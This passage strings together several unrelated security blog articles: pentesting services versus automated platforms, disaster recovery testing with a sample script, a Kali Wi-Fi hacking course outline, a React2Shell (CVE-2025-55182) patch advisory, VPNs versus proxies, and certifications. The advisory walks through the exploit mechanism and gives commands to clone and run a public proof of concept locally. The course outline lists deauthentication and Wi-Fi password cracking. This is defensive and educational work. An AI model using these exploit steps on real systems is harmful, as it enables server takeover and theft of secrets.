Human testers think like attackers, combining automated scans with logic and adaptability that machines cannot replicate on their own.

These engagements are typically measured in reports, debrief sessions, and clear remediation guidance. The human element is the defining factor. A skilled tester doesn’t just find flaws. They understand context, creative exploit paths, and business impact.

What Are Automated Penetration Testing Platforms?

Automated penetration testing platforms use software to scan, crawl, and test systems for vulnerabilities. These platforms run scheduled scans or continuous assessments with minimal human intervention. They aim to find flaws early and often, integrating with development pipelines or security operations centers.

Automation brings consistency, speed, and the ability to repeat tests frequently. Many modern platforms use machine learning to prioritize findings and reduce noise. Some offer automation rules that trigger scans based on changes in the environment or codebase.

In contrast to full manual services, platforms are best suited for ongoing baseline assessments and rapid feedback. They are often priced in subscription models and integrate with other tooling like bug tracking systems or SIEMs. While they can pinpoint known vulnerability patterns efficiently, automated tools are limited in creative attack paths and logic-based exploits.

Why the Debate Matters in 2026

In 2026, the cybersecurity landscape is both more advanced and more hazardous. Organizations operate hybrid clouds, microservices architectures, and complex supply chains.

Threat actors are using AI to scale attacks. In this environment, the question is not only about finding old vulnerabilities but anticipating novel attack methods.

With limited resources, security leaders must choose wisely. Do you invest heavily in services with human experts? Do you adopt automated platforms that test continuously?

Maybe a mix is best. To answer these questions, let’s explore how the two approaches compare across key criteria.

Depth of Testing: Humans vs Machines

Human-led penetration tests shine when deep context and logic are required. Expert testers can chain together multiple issues to compromise a system in ways automated tools don't anticipate. They explore paths, think creatively, and adapt in real time to the environment they encounter.

Automated platforms excel at breadth and repetition. They perform wide sweeps of systems quickly and can generate alerts on common vulnerability classes. They're particularly strong in repetitive tasks like scanning hundreds of endpoints or validating compliance controls.

But platforms often rely on predefined signatures and patterns. They perform poorly when an exploit requires intuition or lateral thinking.

In simple terms, human services dig deep while platforms dig wide.

Speed and Frequency of Testing

Automated platforms have a clear advantage in speed and frequency. They can run multiple scans in parallel, test after every code commit, and provide almost immediate feedback. This makes them ideal for DevOps pipelines and agile environments that change daily.

Penetration testing services, by design, occur on a schedule. A quarterly or annual test may be thorough, but it cannot match the cadence that automated tools provide.

Manual tests take time to plan, execute, and analyze. In fast-moving environments, this might leave gaps between testing windows.

For many organizations, automation fills these gaps, while manual testing provides periodic, deep insight.

Cost Considerations

Cost is always a factor. Automated platforms generally come with lower upfront costs compared to human-led engagements. Subscriptions scale with usage and provide continuous assessment for a predictable price. This makes them appealing to midsize companies or teams with limited budgets.

Penetration testing services, especially from reputable consultancies, command higher fees. These reflect labor costs, expertise, and the bespoke nature of the work.

However, the value gained is often more than just flaw detection: it’s expert interpretation, custom exploitation paths, and strategic guidance.

In cost-benefit terms, automated platforms provide the most value per dollar for baseline security, while services deliver high-value insight that can justify a higher cost.

Integration with Security Workflows

Automated platforms are built to integrate with broader security tooling. They often connect to continuous integration/continuous delivery (CI/CD) pipelines, vulnerability management platforms, and ticketing systems. This integration ensures that issues are communicated to the teams who need them most and tracked to resolution.

Penetration testing services can integrate into workflows too, but this usually requires additional coordination. Reports must be ingested into tracking systems and aligned with internal priorities. Some providers offer APIs and extended services that help bridge this gap, but the process typically takes more effort than with automated platforms.

Integration matters because security cannot operate in isolation. Automated platforms fit more naturally into modern DevSecOps workflows, while services provide episodic insights that must be planned and bridged into operations.

Real World Context: Top Providers in 2026

To illustrate how these approaches manifest in practice, consider a few leading options. Each provider offers different strengths in manual services or automated tooling.

One such provider is XBOW. XBOW is known for deep manual testing engagements, combining expert human testers with structured methodologies across network, application, and cloud environments. Their work emphasizes real-world attack simulations and strategic risk reporting.

Another well-known provider is Cobalt. Cobalt blends human expertise with platform-based management. Their Pentest as a Service (PtaaS) model connects testers to client environments through a platform that organizes findings, workflows, and communication. Clients can collaborate with testers, track issues in real time, and integrate results with other systems.

A different model comes from Synack. Synack uses a crowd of vetted testers who work with a secure testing platform. This hybrid model aims to combine the creativity of human testers with the scalability and tracking of automated systems. Clients benefit from diverse testing styles and coordinated reporting within a structured platform.

Each of these approaches has merit. Some lean more toward pure services, others toward platform-driven collaboration. Your choice should align with your security maturity and goals.

Compliance and Reporting

For regulated industries, compliance matters. Automated platforms often include reporting features that map directly to standards like PCI DSS, HIPAA, or ISO 27001. These reports can be generated on a regular cadence and integrated into audit evidence.

Penetration testing services provide compliance support too, but the reports are typically narrative and bespoke. The real value is in expert interpretation of compliance requirements and guidance on remediating complex findings.

In essence, automation provides structured, repeatable reporting, while services deliver customized insights that may carry more weight with auditors and internal stakeholders.

Which One Should You Choose in 2026?

There is no one-size-fits-all answer. Many organizations adopt both approaches. Automated platforms serve as the first line of defense by continuously scanning for known issues and tracking progress over time. Human-led services then provide a deeper second layer, uncovering complex issues and offering strategic guidance.

If your environment is highly dynamic, with frequent releases and evolving infrastructure, an automated platform is essential. If you operate in a high-risk sector where attackers are likely to craft bespoke exploits, human-led penetration testing services are indispensable.

Most mature security programs use both. Automation drives frequency and scale. Human services provide depth and insight. Together, they form a layered testing strategy that maximizes coverage and minimizes blind spots.

Final Thoughts

In 2026, cybersecurity testing is more sophisticated and essential than ever. Organizations must balance speed, depth, cost, and context when selecting between penetration testing services and automated platforms. While one is not inherently better than the other in all cases, understanding their differences and complementary strengths will help you build a robust security posture.

Automated platforms catch the routine and repetitive, giving continuous visibility into known risks. Human-led services uncover the hidden and unexpected, thinking beyond patterns to simulate real adversaries. For most teams, the future of testing lies in a hybrid approach that leverages both.

By aligning your security goals with the right mix of services and tools, you can stay ahead of threats now and in the years to come.

Hope you enjoyed this article. Learn more about me by visiting my website.

Disaster recovery testing is what separates assumed resilience from proven recovery, but it’s still skipped, rushed or treated as a checkbox exercise. For developers and technical teams, that gap can turn a manageable failure into a prolonged outage.

Table of Contents

• What is Disaster Recovery Testing?

• How Disaster Recovery Testing Works in Practice

• Disaster Recovery Testing Methods Developers Should Know

• What Technology Disaster Recovery Testing Evaluates

• How to Test a Disaster Recovery Plan

• Disaster Recovery Test Scenarios: Practical Examples

• Disaster Recovery Test Report: Turning Tests Into Improvements

• Disaster Recovery Audits and Continuous Validation

• Conclusion

What is Disaster Recovery Testing?

Disaster recovery (DR) testing is the process of validating that systems, data and applications can be restored after a disruptive event within defined recovery objectives. It generally evaluates:

• Recovery Time Objective (RTO): How quickly systems must be restored.

• Recovery Point Objective (RPO): How much data loss is acceptable.

• Operational readiness: Whether teams know what to do during an incident.

A disaster recovery test plan documents how these elements are tested, who is responsible and what success looks like. Without testing, DR plans are assumptions, not guarantees.

How Disaster Recovery Testing Works in Practice

In real environments, disaster recovery testing is used to check all elements of the disaster recovery plan and is rarely a single event. It’s a structured exercise that simulates failure, observes system behavior and measures outcomes against expectations.

A typical DR test involves:

1. Defining scope – Which applications, services, or data sets are included.

2. Selecting a scenario – Outage, corruption, ransomware, region failure, and so on.

3. Executing recovery actions – Restore data, fail over systems, reconfigure dependencies.

4. Measuring results – Time to recovery, data consistency, service availability.

5. Documenting findings – What worked, what failed, what needs improvement.

For developers, the key shift is recognizing that DR testing isn’t just an ops exercise. Application architecture, data handling and deployment patterns all influence recovery outcomes.

Importantly, regulatory pressure is also reshaping how organizations approach recovery validation. Frameworks such as the NIS2 Directive require essential and important entities in the EU to implement robust cybersecurity risk management measures, including incident response and business continuity capabilities.

Disaster Recovery Testing Methods Developers Should Know

Different testing methods provide different levels of confidence. Mature teams use more than one. Each method has a place, but relying only on low-impact testing creates blind spots that surface during real incidents.

Checklist Testing

The simplest method: Teams review documented recovery steps without executing them. This helps validate documentation completeness but does not confirm real-world recoverability.

Tabletop Exercises

Stakeholders walk through a simulated disaster scenario and discuss responses. Tabletop tests are useful for identifying communication gaps and unclear responsibilities, especially for cross-team coordination.

Partial or Component Testing

Specific systems, such as databases or backup restores, are tested in isolation. Developers often encounter this when validating recovery procedures for individual services or environments.

Full-scale Testing

This is the most comprehensive method. It involves actual failover or full recovery in production-like environments. While disruptive, full-scale tests provide the highest confidence.

What Technology Disaster Recovery Testing Evaluates

Modern environments are complex, and disaster recovery testing must validate more than just data restores.

DR testing evaluates:

• Backup integrity – Are backups usable, consistent and complete?

• Application dependencies – Do services come back in the correct order?

• Infrastructure recovery – Can compute, storage and networking be re-provisioned?

• Identity and access – Do credentials, secrets and permissions still function?

• Automation and scripts – Do recovery workflows still match current architectures?

For developers, this often reveals hidden coupling between services, outdated scripts or environment-specific assumptions that were never documented.

How to Test a Disaster Recovery Plan

Testing a disaster recovery plan doesn’t require shutting down production on day one. A practical, incremental approach works best.

1. Start with a single application: Pick a service with well-defined data and dependencies. Avoid starting with your most complex system.

2. Validate backup restores: Restore data into a non-production environment and confirm application functionality, not just file presence.

3. Measure RTO and RPO: Time the recovery process and compare results to stated objectives. At this stage, many teams can discover that their objectives were unrealistic.

4. Test failure assumptions: Simulate real-world issues like missing credentials, expired certificates or partial data loss.

5. Document gaps immediately: Update the disaster recovery test plan while findings are fresh. Untested fixes are just new assumptions.

This approach makes disaster recovery testing part of standard processes rather than a once-a-year compliance task.

Automating Restore Validation

One of the most common gaps in disaster recovery testing is stopping at “restore completed” instead of validating that the application actually works. A restored database that can’t serve queries or contains incomplete data doesn’t meet recovery objectives.

Teams can reduce this risk by automating post-restore validation. For example, after restoring a PostgreSQL database into a staging or isolated DR environment, a simple validation script can confirm connectivity and basic data integrity:

import psycopg2

import sys


def validate_restore():

    try:

        conn = psycopg2.connect(

            host="restored-db.internal",

            database="appdb",

            user="dr_test_user",

            password="securepassword"

        )

        cur = conn.cursor()

        cur.execute("SELECT COUNT(*) FROM users;")

        result = cur.fetchone()



        if result and result[0] > 0:

            print("Restore validation successful.")

        else:

            print("Restore validation failed: No data found.")

            sys.exit(1)


        conn.close()

    except Exception as e:

        print(f"Restore validation error: {e}")

        sys.exit(1)


validate_restore()

This script does three important things:

• Confirms the database is reachable

• Executes a real query, not just a connection check

• Fails explicitly if the expected data is missing

In practice, teams can integrate scripts like this into CI/CD pipelines or scheduled recovery drills. The goal isn’t to test every edge case, but to move from “backup exists” to “restore is functionally verified.” Over time, these automated checks become part of the disaster recovery test plan, helping teams measure RTO accurately and detect configuration drift before a real incident exposes it.

Disaster Recovery Test Scenarios: Practical Examples

Effective disaster recovery testing focuses on realistic failures, not idealized outages.

Accidental Deletion or Misconfiguration

A dropped database table, deleted storage bucket or bad configuration change tests how quickly teams can restore specific data without rolling back entire systems. These everyday incidents often reveal slow or overly manual recovery processes.

Data Corruption and Application Failure

Buggy releases can silently corrupt data while systems remain online. This scenario validates point-in-time recovery and whether teams can identify when corruption started, not just restore the latest backup.

Ransomware Simulation

Ransomware testing checks whether clean, uncompromised backups can be restored in isolation. It often exposes gaps in backup immutability, credential handling and realistic recovery times.

Infrastructure or Platform Outage

Simulating the loss of a cluster, availability zone or region tests automation and infrastructure-as-code maturity. In virtualized environments, most commonly VMware disaster recovery, testing involves restoring virtual machines at a secondary site and validating networking and application dependencies.

Credential and Access Failure

Recovery can stall if credentials, certificates or secret keys are unavailable. Testing this scenario validates identity systems and whether recovery procedures rely on fragile access assumptions.

Disaster Recovery Test Report: Turning Tests Into Improvements

Testing without documentation is wasted effort. A disaster recovery test report turns results into actionable improvements.

A valuable DR test report includes:

• Test scope and scenario

• Expected vs. actual RTO/RPO

• Recovery steps executed

• Failures, delays and root causes

• Recommended changes

For developers, this often results in concrete action items: refactoring startup dependencies, adding health checks, improving automation or adjusting data protection policies. The report should feed directly into backlog planning.

Disaster Recovery Audits and Continuous Validation

Audits often expose what teams already suspect: Disaster recovery plans exist, but haven’t been tested recently (or at all).

Rather than treating audits as one-time events, teams should adopt continuous validation:

• Regular restore tests integrated into CI/CD pipelines.

• Scheduled DR tests tied to major architecture changes.

• Automated alerts when recovery objectives drift.

This shifts disaster recovery testing from an annual obligation to an ongoing practice that evolves alongside the environment.

Conclusion

Disaster recovery testing is not about pessimism, it’s about realism. Systems and people change, and failure modes evolve faster than documentation. Without testing, even the best-designed recovery plan can become outdated.

For developers and technical teams, practicing disaster recovery testing builds confidence rooted in evidence, not assumptions. It exposes hidden dependencies, validates data protection strategies and ensures that when something goes wrong, recovery is predictable instead of chaotic.

We just posted a course on the freeCodeCamp.org YouTube channel that will help you master the fundamentals of cybersecurity and ethical hacking. This is a beginner-friendly, hands-on course using Kali Linux.

You’ll learn to identify, exploit, and defend against real-world vulnerabilities while building a solid foundation in penetration testing, network security, and vulnerability assessment. By mastering professional tools like Nmap and Wireshark, you will develop the practical skills and mindset needed to secure systems and think like an ethical hacker. This course was created by Sunny Dimalu The Cyborg.

Here are the sections in this course:

• Introduction

• What is Kali Linux

• Basic Commands & Terminal Customization

• ls Command

• cd Command

• Nano Editor

• cat Command

• Create Files Using cat

• Create Directories

• grep Command

• wc Command

• Output Redirection

• Piping

• Copy Files

• Remove Files & Directories

• Types of Users

• Root User

• sudo Command (Administrative Tasks)

• ip addr Command

• Install Packages

• Remove Packages

• Introduction to Nmap

• Scan Ports

• Wi-Fi Security: System Requirements & Wireless Card

• Introduction to Aircrack-ng

• Monitor Mode vs Managed Mode

• Enable Monitor Mode

• Scan Wi-Fi Networks & Capture Traffic

• Scan 5GHz Wi-Fi Networks (Theory)

• Scan 5GHz Wi-Fi Networks (Practical)

• What is a 4-Way Handshake

• Capture a 4-Way Handshake

• What is a De-authentication Attack

• Capture 4-Way Handshake Using De-authentication Attack

• Wordlists & Dictionary Attacks

• Crack / Recover Wi-Fi Password

• Detect De-authentication Attacks /Threats

• Wireshark Tutorial

Watch the full course on the freeCodeCamp.org YouTube channel (4-hour watch).

Table of Contents

• What is "React2Shell"?

• Why is this Happening Now?

• Should You Worry About this Change?

• Is this Mandatory?

• How Bad Can It Get? The Extent of Exploitation

• What Would be the Code Change for This?

• Advanced: Verify with the Original Exploit (PoC)

• Emergency Response: What If You Were Already Compromised?

• Conclusion

What is "React2Shell"?

Think of your server receiving data like a mailroom receiving packages.

Usually, a mailroom checks if a package is safe before opening it. But in vulnerable versions of React and NextJS, the "Flight" protocol (used to communicate between the server and client) acts like a mailroom that blindly opens every package and follows any instructions inside immediately.

This vulnerability (CVE-2025-55182) allows an attacker to send a specifically crafted "package" (HTTP request) that forces your server to execute malicious code – like stealing passwords or installing viruses –without even logging in.

Why is this Happening Now?

It's all about how modern frameworks handle data serialization. There are a few reasons why this was just discovered.

First, React has complex serialization. To make Server Components seamless, React sends complex data structures back and forth.

Second, it has the "Flight" protocol. The vulnerability was found in how this specific protocol de-serializes (unpacks) data. It was too trusting of the input it received from the client side.

Should You Worry About this Change?

You need to pay attention if your app qualifies for any of the below:

• You are using NextJS App Router: This is the default in newer NextJS versions (v13+).

• You are using React 19: Specifically versions with Server Components enabled.

• You use Server Actions: If your app takes user input and processes it on the server using React's server actions.

Is this Mandatory?

Yes. This is a critical security update. If your app qualifies in any of the above scenarios, you need to act immediately. Because, this vulnerability is being exploited right now.

How Bad Can It Get? The Extent of Exploitation

You might be thinking, "My site is just a simple content wrapper, surely I'm not a target?" Unfortunately, with Remote Code Execution (RCE), the attacker doesn't just "break" your site – they own the server it runs on.

Here is exactly what a hacker can do once they exploit this vulnerability:

Total Environment Theft

The most immediate risk is your .env file. Attackers can execute code to read your environment variables, instantly gaining access to your AWS Secret Keys, Database passwords, Stripe API keys, and OpenAI tokens.

The "Shell" Access

As the name "React2Shell" implies, attackers can open a reverse shell. This gives them a command-line interface on your server, allowing them to browse your file system as if they were sitting in front of your computer.

Lateral Movement

Once inside your NodeJS server, they are behind your firewall. They can now attack your internal services (like Redis, internal databases, or private micro-services) that are usually blocked from the outside world.

Supply Chain Poisoning

If your build server is vulnerable, an attacker could potentially inject malicious code into your deployment pipeline, affecting every user who visits your site in the future.

Botnet Recruitment

Hackers often automate these attacks to install crypto-miners, using your server's CPU (which you pay for!) to mine digital currency for them, often crashing your application in the process.

What Would be the Code Change for This?

You don’t need to rewrite your application code, but you must update your dependencies in your release line.

The vulnerability is fully resolved in the following patched NextJS releases:

• 15.0.5

• 15.1.9

• 15.2.6

• 15.3.6

• 15.4.8

• 15.5.7

• 16.0.7

Patched canary releases for NextJS 15 and 16:

• 15.6.0-canary.58 (for 15.x canary releases)

• 16.1.0-canary.12 (for 16.x canary releases)

These versions include the hardened React Server Components implementation.

Here are the patched versions for React JS:

• 19.0.1

• 19.1.2

• 19.2.1

Frameworks and bundlers using the aforementioned packages should install the latest versions provided by their respective maintainers.

Alternatively, you can run npx fix-react2shell-next in your NextJS project to launch an interactive tool which can check versions and perform deterministic version bumps per the recommended versions above. See the GitHub repository for full details.

There is no workaround other than upgrading to a patched version.

It’s highly recommended to rotate all your application secrets, once you have patched your version and re-deployed your application.

Advanced: Verify with the Original Exploit (PoC)

If you want to be 100% sure your patch is working, or if you want to understand how the attack actually works, you can use the original Proof of Concept (PoC) created by the security researcher (Lachlan Davidson) who found the bug.

Repository: React2Shell-CVE-2025-55182-original-poc

Lachlan provided three variations of the exploit script. The most important one for testing is 01-submitted-poc.js, which is the exact, simplified version submitted to Meta for the bug bounty.

How the Exploit Works

According to the repository, the attack works by tricking the parser:

1. The attacker sends a payload using $@x to access a specific data Chunk.

2. They "plant" a .then function on a fake object.

3. The JavaScript runtime thinks it is handling a Promise and tries to "unravel" it.

4. This allows the attacker to re-enter the parser with a malicious fake chunk, giving them access to internal server gadgets (like _response) to execute code (RCE).

Steps to Recreate the Issue

⚠️ WARNING: Only run this against a local development server (localhost) that you own. Never run this against production servers or public websites.

Note: I forked Lachlan’s repo and made minor changes to make it easy for you to run the script.

Step 1: Clone the Repository

Run the following commands to clone the repository, navigate into the project, and install dependencies:

git clone https://github.com/arunachalam-b/React2Shell-CVE-2025-55182-original-poc.git
cd React2Shell-CVE-2025-55182-original-poc
npm i

Step 2: Run a Vulnerable Local Server

Start your NextJS application locally (ensure it’s running a vulnerable version, for example NextJS 15.0.0, for the test to succeed).

npm run dev
# usually runs on http://localhost:3000

Step 3: Execute the Test

You will need to modify the script or use a tool like curl to send the payload structure found in 01-submitted-poc.js to your server's endpoint (usually a Server Action endpoint). Or simply run the following command if your app is accessible at http://localhost:3000:

node 01-submitted-poc.js

If the exploit succeeds (on the vulnerable version), the console will log the execution of the code (RCE). If the exploit fails (after you patch), the server will either reject the request or error out safely.

You can also confirm if your infected web server prints 50 in the console. Because we inject the code to do a calculation (look at _prefix field in the below JSON) that results in 50.

After you apply the fix, you should see an error while running the script. In this case, as I’m using NextJS v15.1, the fix is upgrading the next package to version 15.1.9. Here are the screenshots after upgrading the package and running the script.

Step 4: Verification

Once you have confirmed the exploit works on the old version, update your packages (as shown in the section above) and run the script again. It should no longer trigger the code execution.

Emergency Response: What If You Were Already Compromised?

If you suspect your server was exposed to the internet with a vulnerable version, assume the worst. A hacker may have already stolen your keys or left a "backdoor" to return later. Patching the code alone is NOT enough in this case.

Follow this "Nuke and Pave" protocol immediately:

Step 1: Isolate and Shutdown

Take the compromised server offline immediately. Do not try to "fix" it while it is running.

Step 2: Rotate ALL Secrets (Crucial Step)

Assume every secret in your .env file is in the hands of a hacker. You must generate new ones:

• Change the password for your database users.

• Rotate AWS Access Keys, Google Cloud Service Account keys, and so on.

• Roll your Stripe/PayPal/Razorpay API keys.

• Rotate your NEXTAUTH_SECRET or any JWT signing keys.

Step 3: Do Not "Clean" — Rebuild

Do not attempt to find and delete malware files on the server. Hackers are good at hiding.

• Destroy the existing container, droplet, or EC2 instance entirely.

• Build a fresh instance from your source code (after applying the patch).

Step 4: Audit Your Logs

Look at your database and cloud provider logs. Did anyone download your entire user database? Did anyone spin up expensive GPU instances on your AWS account? Check for unusual activity that occurred before you patched.

Conclusion

In this article, you learned about the "React2Shell" vulnerability, how to verify it using the original developer's tools, and how to upgrade your app to secure your Server Components. I hope you have a clear idea about why this update is urgent. By being proactive now, you can avoid a catastrophic data breach.

You can follow my Twitter/X account to receive the top AI news everyday. If you wish to learn more about cybersecurity, subscribe to my email newsletter and follow me on social media.

Both hide your IP address and help you browse the internet more privately, but they work in different ways and serve different purposes. From simple security to web scraping for LLM training, both serve various purposes for businesses.

If you have ever wondered which one you should use, this article will help you understand how they work, their main differences, and where residential proxies fit into the picture.

What We’ll Cover

• What is a VPN?

• What is a Proxy?

• The Core Difference Between VPNs and Proxies

• Performance and Speed

• Use Cases for VPNs

• Use Cases for Proxies

• How to Combine VPNs and Residential Proxies

• Which One Should You Choose?

• The Future of Privacy Tools

• Conclusion

What is a VPN?

A Virtual Private Network, or VPN, is a service that creates a secure and encrypted tunnel between your device and the internet.

When you connect to a VPN, all your traffic passes through a remote server operated by the VPN provider. This hides your real IP address and encrypts everything you send or receive.

VPNs are often used by individuals who want to protect their privacy or access content that is restricted in their region.

For example, someone in India can use a VPN to connect to a U.S. server and access websites that are available only in the United States. Because the connection is encrypted, internet service providers and hackers cannot see which websites you visit or what data you exchange.

What is a Proxy?

A proxy acts as a middleman between your device and the internet.

When you connect to a proxy, your request is first sent to the proxy server, which then forwards it to the target website. The website sees the proxy’s IP address instead of your own.

Unlike VPNs, proxies usually do not encrypt your traffic. This means that while your IP address is hidden, the data itself can still be visible to others.

Proxies are often used for tasks like web scraping, managing multiple social media accounts, or accessing geo-restricted sites in a lightweight way.

There are different types of proxies, such as datacenter proxies, mobile proxies, and residential proxies. Among these, residential proxies are the most trusted because they use real IP addresses assigned by internet service providers.

The Core Difference Between VPNs and Proxies

The biggest difference between a VPN and a proxy lies in encryption.

VPNs encrypt all network traffic from your device, while most proxies do not. This means VPNs provide a higher level of security and privacy. Even if someone intercepts your data, they cannot read it.

Proxies, on the other hand, focus more on IP masking rather than full encryption. They are lighter, faster, and more flexible for specific use cases like automation, scraping, or content testing.

For example, a company that needs to collect product data from multiple e-commerce sites will use residential proxies rather than a VPN because proxies allow scalable, distributed access from different IP addresses.

Another key difference is the level of system-wide protection. A VPN encrypts all the traffic coming from your device, including background apps.

A proxy typically only routes traffic from specific browsers or applications. This makes VPNs better for personal privacy and proxies better for targeted tasks.

Performance and Speed

Since VPNs encrypt traffic, they can reduce speed due to the extra processing involved. Proxies, by contrast, are often faster because they skip encryption and route only specific requests.

However, not all proxies are equal. Datacenter proxies may be fast but easier to detect, while residential proxies are slower but far more reliable for tasks that require realism. Businesses often accept this small trade-off in speed for better accuracy and reduced blocking.

VPNs usually have fewer IPs and servers compared to proxy networks, which can limit their flexibility. Proxies can rotate thousands of IPs automatically, which helps avoid bans and distribute requests efficiently.

Use Cases for VPNs

VPNs are ideal for individuals who value security and privacy. They are useful for browsing safely on public Wi-Fi, accessing restricted websites, or hiding browsing habits from internet service providers.

Remote workers often use VPNs to securely access corporate networks. Journalists and activists rely on them to bypass censorship or protect communication in restrictive regions.

For everyday users, a VPN provides a simple and effective way to browse anonymously and encrypt all data traffic.

Use Cases for Proxies

Proxies shine in automation and business scenarios. They are essential for data gathering, web scraping, and digital marketing. By using residential proxies, companies can collect information from multiple websites without getting blocked.

For example, a brand can track how its ads appear to users in different countries. E-commerce businesses can compare competitor prices or monitor product listings in real time. Social media managers use proxies to handle multiple accounts without triggering platform restrictions.

Proxies also help in large-scale web scraping for LLM training. They allow businesses to gather public data anonymously and at scale without getting blocked or throttled by websites.

How to Combine VPNs and Residential Proxies

In some cases, professionals use both. For example, a researcher may connect to a VPN for encryption and then route specific scraping tasks through residential proxies for location diversity. This hybrid setup balances privacy and data collection efficiency.

Combining them also reduces the risk of IP bans. If a target site starts blocking one set of IPs, the user can switch networks seamlessly. This approach is popular in cybersecurity testing, ad verification, and large-scale monitoring.

Which One Should You Choose?

If your goal is privacy, use a VPN. It secures your entire connection and hides all your online activities. If your goal is automation, data collection, or region-specific testing, use proxies.

Residential proxies are especially effective when websites have strong anti-bot protection or region-based restrictions. They combine anonymity with authenticity, making your traffic look like that of a regular home user.

For individuals who need both security and flexibility, a mix of VPN and proxy can work best. You can encrypt your connection with a VPN and use residential proxies for specific tools or scripts that need rotation and scale.

The Future of Privacy Tools

As online tracking becomes more advanced, tools like VPNs and residential proxies are becoming essential for both individuals and businesses. Companies use them to access unbiased market data and protect digital assets, while individuals use them to browse safely and privately.

In the future, we may see hybrid solutions that blend the privacy of VPNs with the scalability of proxy networks. These systems could automatically switch between encryption and proxy routing based on the task at hand, providing a seamless balance between speed and security.

Conclusion

VPNs and proxies both protect your identity online, but they serve different purposes. VPNs focus on privacy and encryption, while proxies , especially residential proxies , focus on scalability and access.

Understanding how each works helps you choose the right tool for your needs. Whether you want to stay anonymous, collect data safely, or test websites from different countries, using the right combination of VPN and residential proxies can give you both privacy and power in the digital world.

Hope you enjoyed this article. Find me on Linkedin or visit my website.

Every year, more companies face threats that put their data, reputation, and customer trust at risk. As these threats grow, so does the demand for skilled cybersecurity professionals.

One of the best ways to stand out in this competitive field is to earn a recognised certification. Certifications not only validate your skills but also open doors to better job opportunities, higher pay, and global recognition.

In this article, we will look at the top five cybersecurity certifications that can help you build or advance your career. Whether you are new to cybersecurity or already working in the field, these certifications can take your skills and credibility to the next level.

What we Cover

• Certified Information Systems Security Professional (CISSP)

• Certified Information Security Manager (CISM)

• Certified Ethical Hacker (CEH)

• CompTIA Security+

• Offensive Security Certified Professional (OSCP)

• Choosing the Right Certification

• Conclusion

Certified Information Systems Security Professional (CISSP)

The CISSP, offered by (ISC)², is considered one of the most prestigious certifications in cybersecurity. It’s designed for experienced professionals who want to prove their ability to design, implement, and manage an enterprise-level security program.

CISSP is often seen as a leadership certification rather than a purely technical one. It demonstrates a deep understanding of security principles across multiple domains, including areas such as security and risk management, asset security, security architecture and engineering, communication and network security, identity and access management, security assessment and testing, security operations, and software development security.

Together, these eight domains cover every major aspect of protecting an organization’s information systems. Several security agencies have highlighted the importance of CISSP certification, so it’s an expected certification if you are looking for senior-level security roles.

To earn the CISSP, you need at least five years of professional experience in two or more of these domains. The exam itself is challenging and is designed to test not just what you know, but how you apply that knowledge in complex, real-world scenarios. It requires you to think both technically and strategically, balancing hands-on expertise with business and management considerations.

Even if you don’t yet meet the experience requirement, you can still pass the exam and become an Associate of (ISC)². Once you complete the necessary work experience, you can upgrade to a full CISSP.

CISSP holders are often found in senior roles such as Chief Information Security Officer, Security Architect, or IT Director. Employers worldwide value this certification because it demonstrates your understanding of both the technical and organisational aspects of cybersecurity.

If your goal is to move into senior management or to lead enterprise-wide security programs, CISSP remains one of the most respected and valuable certifications you can pursue.

Certified Information Security Manager (CISM)

The CISM, managed by ISACA, is a globally recognized certification for professionals who manage, design, and oversee an enterprise’s information security program. It’s particularly valuable for those who want to move from technical roles into management.

CISM focuses on four main areas: information security governance, risk management, program development and management, and incident management. These domains reflect the skills required to align an organization’s security strategy with its overall business goals.

Unlike certifications that focus mainly on technical details, CISM emphasizes the connection between business needs and security policies. It prepares you to communicate effectively with senior management and to justify security investments in terms of business outcomes.

Industry leaders like DestCert have highlighted the importance of the CISM certification for its role in shaping professionals who understand both the technical and strategic sides of cybersecurity. As organizations increasingly seek leaders who can balance risk, compliance, and technology, the demand for CISM-certified experts continues to grow.

To earn the CISM, you need at least five years of experience in information security management, with at least three years of experience in at least three of the four CISM domains. After passing the exam, you also need to agree to ISACA’s code of ethics and commit to continuing education to keep your certification active.

Certified Ethical Hacker (CEH)

The CEH certification, offered by EC-Council, is one of the most recognized credentials for those who want to specialize in ethical hacking and penetration testing. It teaches you how to think like a hacker, identify vulnerabilities, and secure systems before attackers can exploit them.

CEH covers topics such as footprinting, scanning, enumeration, system hacking, web application hacking, and social engineering. The goal is to understand the attacker’s mindset so you can defend more effectively. It also includes hands-on labs that allow you to practice hacking techniques in a controlled environment.

This certification is often the first step for many cybersecurity professionals who want to move into roles such as penetration tester, red team member, or security analyst. It demonstrates that you know how to identify weaknesses and apply countermeasures to protect systems and data. Since it’s a beginner certification, there are often questions whether CEH is worth taking. But it is still the most widely known cybersecurity certification in existence.

Employers value CEH because it bridges the gap between theory and practice. While it’s not as advanced as some other certifications, it provides a solid foundation for anyone interested in offensive security. If you are looking to start a career in ethical hacking or penetration testing, CEH is an excellent choice.

CompTIA Security+

CompTIA Security+ is one of the most widely accepted entry-level certifications in cybersecurity. It’s ideal for beginners who want to establish a strong foundation in security concepts before moving on to advanced certifications.

Security+ covers essential topics such as threat management, cryptography, risk management, identity management, and incident response. It also focuses on practical skills needed to perform day-to-day security tasks. Unlike some certifications that require extensive experience, Security+ is accessible to anyone with a basic understanding of networking and IT systems.

The certification is vendor-neutral, which means it applies to a broad range of technologies rather than being tied to a specific company or product. Many organizations use it as a benchmark for hiring junior security professionals or system administrators.

Security+ is also approved by the U.S. Department of Defense for its cybersecurity workforce, which further adds to its credibility. Passing the exam shows that you understand the key principles of cybersecurity and are ready to take on entry-level security roles.

After earning Security+, many professionals go on to pursue more advanced certifications such as CISSP or CISM. It serves as a perfect starting point for building a long-term cybersecurity career.

Offensive Security Certified Professional (OSCP)

The Offensive Security Certified Professional (OSCP), offered by Offensive Security, is one of the most respected certifications in the field of ethical hacking and penetration testing. Known for its hands-on and highly practical nature, the OSCP sets a high standard for proving real-world hacking skills.

Unlike many certifications that focus on theory or multiple-choice questions, the OSCP exam challenges you to demonstrate your ability to find and exploit vulnerabilities in live machines within a controlled environment. It requires you to hack into multiple systems, gain administrative access, and document your process in a professional penetration testing report.

The OSCP exam is widely regarded as one of the toughest in cybersecurity. Candidates are given 24 hours to complete the test, during which they must identify, exploit, and escalate privileges across different targets. This format tests not only your technical knowledge but also your persistence, creativity, and problem-solving skills.

Earning the OSCP shows that you can think like an attacker, apply advanced exploitation techniques, and work methodically under pressure. It’s ideal for people who want to advance their careers in offensive security, red teaming, or penetration testing. Common job roles for OSCP holders include penetration tester, security consultant, red team operator, and exploit developer.

The OSCP focuses on practical skills such as network scanning, enumeration, buffer overflows, privilege escalation, and pivoting through networks. The accompanying course, “Penetration Testing with Kali Linux (PWK),” provides comprehensive training that helps candidates prepare for the exam by learning through real-world scenarios.

